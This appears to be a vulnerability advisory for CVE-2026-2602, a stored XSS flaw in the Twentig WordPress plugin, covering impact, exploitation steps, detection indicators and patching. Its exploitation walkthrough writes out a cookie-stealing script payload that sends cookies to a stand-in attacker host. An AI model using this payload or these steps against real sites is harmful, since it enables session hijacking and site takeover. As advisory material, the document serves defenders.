CVE-2026-2602: 
WordPress vulnerability analysis and mitigation

CVE-2026-2602 is a Stored Cross-Site Scripting (XSS) vulnerability in the Twentig plugin for WordPress, affecting versions up to and including 1.9.7. The flaw exists in the featuredImageSizeWidth parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on March 29, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from the Twentig plugin's failure to properly sanitize the featuredImageSizeWidth parameter before storing and rendering it in page output. An authenticated attacker with at least Contributor-level WordPress access can submit a crafted payload through this parameter, which is then persistently stored and executed in the browser of any user who visits the affected page. No special configuration or elevated privileges beyond Contributor access are required, and no user interaction from the attacker's side is needed post-injection (Wordfence, ENISA EUVD).

Successful exploitation allows injected scripts to execute in the browsers of all users — including administrators — who view the compromised page, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or defacement of the WordPress site. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress environment and its users. While availability is not directly impacted, confidentiality and integrity are both at low-to-moderate risk, and a compromised admin session could lead to full site takeover (Wordfence, ENISA EUVD).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-2602 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. The requirement for at least Contributor-level authentication limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Twentig plugin version 1.9.7 or earlier. This can be done by checking the plugin's readme.txt file (e.g., /wp-content/plugins/twentig/readme.txt) or using tools like WPScan.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Payload: Prepare a stored XSS payload to be injected into the featuredImageSizeWidth parameter, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Inject Payload: While editing or creating a post/page using the Twentig block editor, submit the crafted payload via the featuredImageSizeWidth parameter in the plugin's block settings.
5. Trigger Execution: The malicious script is stored in the database and executes in the browser of any user (including administrators) who views the affected page, enabling session hijacking or further exploitation (Wordfence).

• Logs: WordPress access logs showing POST requests to post/page editing endpoints by Contributor-level accounts containing unusual script tags or encoded JavaScript in block-related parameters.
• Database: Unexpected <script> tags or JavaScript event handlers stored in the WordPress wp_posts or wp_postmeta tables, particularly in fields associated with Twentig block settings (e.g., featuredImageSizeWidth).
• Network: Outbound requests from user browsers to unknown external domains shortly after visiting pages containing Twentig blocks, potentially indicating cookie or credential exfiltration.
• File System: Review the Twentig plugin changeset at /wp-content/plugins/twentig/ for unauthorized modifications (Wordfence).

WordPress site administrators should update the Twentig plugin to a version beyond 1.9.7, as the vulnerability was patched in the changeset available at the WordPress plugin repository (changeset 3486634). Until an update can be applied, site administrators should restrict Contributor-level user registrations or disable the Twentig plugin entirely. Reviewing existing posts and pages for injected scripts in the featuredImageSizeWidth parameter is also recommended as a post-incident check (Wordfence, WordPress Changeset).

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for the period of March 23–29, 2026, highlighting it as part of a broader set of plugin vulnerabilities tracked that week (Wordfence Blog). The vulnerability was also catalogued by ENISA's European Vulnerability Database (EUVD) and noted on VulDB and infosec.exchange, but no significant broader media coverage or notable researcher commentary beyond standard disclosure channels has been observed.